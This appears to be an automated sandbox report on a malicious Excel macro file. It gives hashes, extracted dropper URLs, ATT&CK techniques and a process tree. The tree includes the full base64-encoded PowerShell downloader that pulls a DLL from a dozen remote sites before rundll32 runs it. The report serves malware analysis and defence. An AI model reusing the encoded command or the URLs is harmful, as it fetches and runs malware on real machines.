550e3caf89e70acd33917b5b601d2bcff9cfa4cd3beb5f06ae8726ee523bf2ab

General

Target

550e3caf89e70acd33917b5b601d2bcff9cfa4cd3beb5f06ae8726ee523bf2ab.xlsm
Size

111KB
MD5

0a58d45b0f98293dd85c43dcd7cadc7b
SHA1

9191ad1566fbfc14809ac063eb7e4acc20dfa04c
SHA256

550e3caf89e70acd33917b5b601d2bcff9cfa4cd3beb5f06ae8726ee523bf2ab
SHA512

dabb822bc8d38acbf393c33c001699085cd08243e060e259bb1b5b7df5265c3b747eafff552d3b23c6d4967167e16c5776294d7f0830fa19b2809bd95d6c2097
SSDEEP

1536:PdsEIZD0L1sGW83avyU4o3C8VseP12QaGZKR3K87ftgfxSS66oXzOVZdIWbU4kbe:FJIZDe15ab4LcRtaXR3KUtE4sYzOXPPb

Score

10^/10

discovery

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://reumatismclinic.com/-/scCnm3mbJRpsaBKBbrC/

exe.dropper

https://shodhmanjari.com/wp-admin/xjEmK4Pd3N/

exe.dropper

http://tubelocal.net/wp-admin/X4Xm4Mk/

exe.dropper

https://pacifichomebroker.com/roderick/RRk/

exe.dropper

https://molinai-journal.com/wp-content/4HBv/

exe.dropper

https://marineboyrecords.com/font-awesome/QBBByHDDYl0slxlQ/

exe.dropper

https://mashuk.net/wp-includes/ej6R4fkU/

exe.dropper

https://lapalette.store/Fox-C404/Gngia6hD0i5zsgd2/

exe.dropper

https://jhonnycryptic.com/cgi-bin/OhZdKCDRBYGZudqs/

exe.dropper

https://korean911.com/wp-admin/TZczIsZtMFXxM5T/

exe.dropper

https://fonijuk.org/wp-content/fzq6vYFUMEiRoR8vG/

exe.dropper

https://baltoe.blog/-/6IC/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3808	1900	wscript.exe	82

Blocklisted process makes network request 9 IoCs

flow	pid	Process
30	1008	powershell.exe
33	1008	powershell.exe
35	1008	powershell.exe
37	1008	powershell.exe
41	1008	powershell.exe
48	1008	powershell.exe
52	1008	powershell.exe
56	1008	powershell.exe
59	1008	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1900	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1008	powershell.exe
1008	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1008	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
1900	EXCEL.EXE
1900	EXCEL.EXE
1900	EXCEL.EXE
1900	EXCEL.EXE
1900	EXCEL.EXE
1900	EXCEL.EXE
1900	EXCEL.EXE
1900	EXCEL.EXE
1900	EXCEL.EXE
1900	EXCEL.EXE
1900	EXCEL.EXE
1900	EXCEL.EXE
1900	EXCEL.EXE
1900	EXCEL.EXE

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 1900 wrote to memory of 3808	1900	EXCEL.EXE	87
PID 1900 wrote to memory of 3808	1900	EXCEL.EXE	87
PID 3808 wrote to memory of 3512	3808	wscript.exe	88
PID 3808 wrote to memory of 3512	3808	wscript.exe	88
PID 3512 wrote to memory of 1008	3512	cmd.exe	92
PID 3512 wrote to memory of 1008	3512	cmd.exe	92
PID 3808 wrote to memory of 624	3808	wscript.exe	97
PID 3808 wrote to memory of 624	3808	wscript.exe	97
PID 624 wrote to memory of 4932	624	cmd.exe	99
PID 624 wrote to memory of 4932	624	cmd.exe	99
PID 624 wrote to memory of 4932	624	cmd.exe	99

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\550e3caf89e70acd33917b5b601d2bcff9cfa4cd3beb5f06ae8726ee523bf2ab.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1900
- C:\Windows\SYSTEM32\wscript.exe
  wscript c:\programdata\sduoixo.vbs
  2⤵
  - Process spawned unexpected child process
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:3808
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\programdata\jledshf.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3512
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -enc JABqAGUAbwBsAGkAcwBlADMAUgBoAGcARABaAFMANABjAGQAZgBnAD0AIgBoAHQAdABwADoALwAvAHIAZQB1AG0AYQB0AGkAcwBtAGMAbABpAG4AaQBjAC4AYwBvAG0ALwAtAC8AcwBjAEMAbgBtADMAbQBiAEoAUgBwAHMAYQBCAEsAQgBiAHIAQwAvACwAaAB0AHQAcABzADoALwAvAHMAaABvAGQAaABtAGEAbgBqAGEAcgBpAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwB4AGoARQBtAEsANABQAGQAMwBOAC8ALABoAHQAdABwADoALwAvAHQAdQBiAGUAbABvAGMAYQBsAC4AbgBlAHQALwB3AHAALQBhAGQAbQBpAG4ALwBYADQAWABtADQATQBrAC8ALABoAHQAdABwAHMAOgAvAC8AcABhAGMAaQBmAGkAYwBoAG8AbQBlAGIAcgBvAGsAZQByAC4AYwBvAG0ALwByAG8AZABlAHIAaQBjAGsALwBSAFIAawAvACwAaAB0AHQAcABzADoALwAvAG0AbwBsAGkAbgBhAGkALQBqAG8AdQByAG4AYQBsAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8ANABIAEIAdgAvACwAaAB0AHQAcABzADoALwAvAG0AYQByAGkAbgBlAGIAbwB5AHIAZQBjAG8AcgBkAHMALgBjAG8AbQAvAGYAbwBuAHQALQBhAHcAZQBzAG8AbQBlAC8AUQBCAEIAQgB5AEgARABEAFkAbAAwAHMAbAB4AGwAUQAvACwAaAB0AHQAcABzADoALwAvAG0AYQBzAGgAdQBrAC4AbgBlAHQALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBlAGoANgBSADQAZgBrAFUALwAsAGgAdAB0AHAAcwA6AC8ALwBsAGEAcABhAGwAZQB0AHQAZQAuAHMAdABvAHIAZQAvAEYAbwB4AC0AQwA0ADAANAAvAEcAbgBnAGkAYQA2AGgARAAwAGkANQB6AHMAZwBkADIALwAsAGgAdAB0AHAAcwA6AC8ALwBqAGgAbwBuAG4AeQBjAHIAeQBwAHQAaQBjAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8ATwBoAFoAZABLAEMARABSAEIAWQBHAFoAdQBkAHEAcwAvACwAaAB0AHQAcABzADoALwAvAGsAbwByAGUAYQBuADkAMQAxAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBUAFoAYwB6AEkAcwBaAHQATQBGAFgAeABNADUAVAAvACwAaAB0AHQAcABzADoALwAvAGYAbwBuAGkAagB1AGsALgBvAHIAZwAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBmAHoAcQA2AHYAWQBGAFUATQBFAGkAUgBvAFIAOAB2AEcALwAsAGgAdAB0AHAAcwA6AC8ALwBiAGEAbAB0AG8AZQAuAGIAbABvAGcALwAtAC8ANgBJAEMALwAiAC4AcwBwAEwAaQBUACgAIgAsACIAKQA7AGYATwByAGUAYQBDAGgAKAAkAGoAZAB0AEYASgBkAFgAaAByADYAdAB4AHkAaABkACAAaQBuACAAJABqAGUAbwBsAGkAcwBlADMAUgBoAGcARABaAFMANABjAGQAZgBnACkAewAkAHIAaAB5AGsAYQBqAGQAaABmAHMANwBpAGQAZgBnAGQAPQAiAGMAOgBcAHAAcgBvAGcAcgBhAG0AZABhAHQAYQBcAHYAYgBrAHcAawAuAGQAbABsACIAOwBpAE4AdgBPAGsAZQAtAHcARQBiAHIAZQBRAHUAZQBzAFQAIAAtAHUAUgBpACAAJABqAGQAdABGAEoAZABYAGgAcgA2AHQAeAB5AGgAZAAgAC0AbwB1AFQAZgBpAEwAZQAgACQAcgBoAHkAawBhAGoAZABoAGYAcwA3AGkAZABmAGcAZAA7AGkAZgAoAHQAZQBzAHQALQBwAEEAdABIACAAJAByAGgAeQBrAGEAagBkAGgAZgBzADcAaQBkAGYAZwBkACkAewBpAGYAKAAoAGcAZQB0AC0AaQBUAGUAbQAgACQAcgBoAHkAawBhAGoAZABoAGYAcwA3AGkAZABmAGcAZAApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADQANQAwADAAMAApAHsAYgByAGUAYQBrADsAfQB9AH0A
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1008
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\rundll32.exe c:\programdata\vbkwk.dll,dfsgeresd
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:624
  - - \??\c:\windows\syswow64\rundll32.exe
      c:\windows\syswow64\rundll32.exe c:\programdata\vbkwk.dll,dfsgeresd
      4⤵
      System Location Discovery: System Language Discovery
      PID:4932

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ru1smosd.df2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
1KB

MD5
d8874cec03b5b06bd280eb8ef8db6f49

SHA1
d3ab4d6719ce31e117519d679a9ad3aa5928679f

SHA256
f5de08179876eb424d316cd5acc0bad3d82ca87b542e52b23a01d7894c999306

SHA512
d5fab13e92966cd7275554eac2e82dca4ea5e3e741e6898d3c0490d06136a4ea8a552268e5453468baf9ea413f159824baeb34c9075fabda21e4e836e1dfa514

Download Submit
C:\programdata\jledshf.bat

Filesize
3KB

MD5
016baa9173d80a2783f51e289ba3446c

SHA1
3207efbfaf61e29d86c969245008aad1fa7f9657

SHA256
24cc34c301ca2213382e1be7fb5241073d6e23b390ba1b2c6fa76faa5ca5d3b4

SHA512
39b79426561f73777b5f2e8349052c994329ebdbc123261123f3234291ffe4741fc6275438d092e7a449899becac30e4b2e899f9fd45c3ff1685e604a6ebf651

Download Submit
\??\c:\programdata\sduoixo.vbs

Filesize
561B

MD5
87a9c41dc3e67b9b0b6cdb367d4858bd

SHA1
00f117f9a02dad3c127b2c607ead43300c2bebbe

SHA256
f0b09a17f07b03b8cfe1969f84fcfb96933439707fa86ba8aa79181145512e18

SHA512
7373ca3127a1baf85e3cc6beb7b046788132b1bb388405657cb924435386d186a2645971128dc582a970242c4a3dfdc7fcce78ed158b0d430c96bbd18686f1dd

Download Submit
\??\c:\programdata\vbkwk.dll

Filesize
1KB

MD5
b31e43a162e56d32cfff6af0122284f1

SHA1
c9a6a56cc9255666ebe9c46a123a4c0b2bb588a1

SHA256
1c4c11ccd1cd2b2fccff4db7bdb90908cdfb395573d791540815dcea5ccdc80b

SHA512
ea8280e5236fee0a2ad494095d493be210135cb98e899add64d43bf142cbc0287dda4e5b302745a867d40c0f7f846033929ac3c2fadc5ce3a061517091cbbbf2

Download Submit
memory/1008-140-0x00000186B4D50000-0x00000186B54F6000-memory.dmp

Filesize
7.6MB

Download
memory/1008-134-0x00000186B3EA0000-0x00000186B3EC2000-memory.dmp

Filesize
136KB

Download
memory/1900-49-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

Filesize
2.0MB

Download
memory/1900-7-0x00007FF90DA70000-0x00007FF90DA80000-memory.dmp

Filesize
64KB

Download
memory/1900-9-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

Filesize
2.0MB

Download
memory/1900-11-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

Filesize
2.0MB

Download
memory/1900-10-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

Filesize
2.0MB

Download
memory/1900-12-0x00007FF90B350000-0x00007FF90B360000-memory.dmp

Filesize
64KB

Download
memory/1900-13-0x00007FF90B350000-0x00007FF90B360000-memory.dmp

Filesize
64KB

Download
memory/1900-29-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

Filesize
2.0MB

Download
memory/1900-30-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

Filesize
2.0MB

Download
memory/1900-0-0x00007FF90DA70000-0x00007FF90DA80000-memory.dmp

Filesize
64KB

Download
memory/1900-51-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

Filesize
2.0MB

Download
memory/1900-5-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

Filesize
2.0MB

Download
memory/1900-8-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

Filesize
2.0MB

Download
memory/1900-2-0x00007FF90DA70000-0x00007FF90DA80000-memory.dmp

Filesize
64KB

Download
memory/1900-6-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

Filesize
2.0MB

Download
memory/1900-139-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

Filesize
2.0MB

Download
memory/1900-4-0x00007FF90DA70000-0x00007FF90DA80000-memory.dmp

Filesize
64KB

Download
memory/1900-142-0x00007FF94DA8D000-0x00007FF94DA8E000-memory.dmp

Filesize
4KB

Download
memory/1900-143-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

Filesize
2.0MB

Download
memory/1900-144-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

Filesize
2.0MB

Download
memory/1900-145-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

Filesize
2.0MB

Download
memory/1900-149-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

Filesize
2.0MB

Download
memory/1900-150-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

Filesize
2.0MB

Download
memory/1900-3-0x00007FF90DA70000-0x00007FF90DA80000-memory.dmp

Filesize
64KB

Download
memory/1900-1-0x00007FF94DA8D000-0x00007FF94DA8E000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads